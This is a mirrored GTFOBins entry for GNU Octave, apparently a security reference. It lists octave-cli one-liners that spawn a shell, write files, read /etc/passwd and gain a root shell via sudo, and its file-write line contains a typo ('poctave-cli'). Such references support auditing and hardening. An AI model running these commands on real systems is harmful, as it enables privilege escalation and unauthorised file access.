1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-10-18 13:28:51 +02:00
GTFOBins.github.io/_gtfobins/octave.md
SynackCerv dbb2e24ff0
Create octave.md
Add GNU Octave
2021-04-22 22:12:26 +02:00

463 B

description: The payloads are compatible with GUI. functions: shell: - code: octave-cli --eval "system('/bin/sh')" file-write: - code: poctave-cli --eval 'filename = "file_to_write"; fid = fopen (filename, "w"); fputs (fid, "DATA"); fclose (fid);' file-read: - code: octave-cli --eval 'fid = fopen ("/etc/passwd"); while(!feof(fid)); txt = fgetl(fid), txt; endwhile; fclose (fid);' sudo: - code: sudo octave-cli --eval "system('/bin/sh')"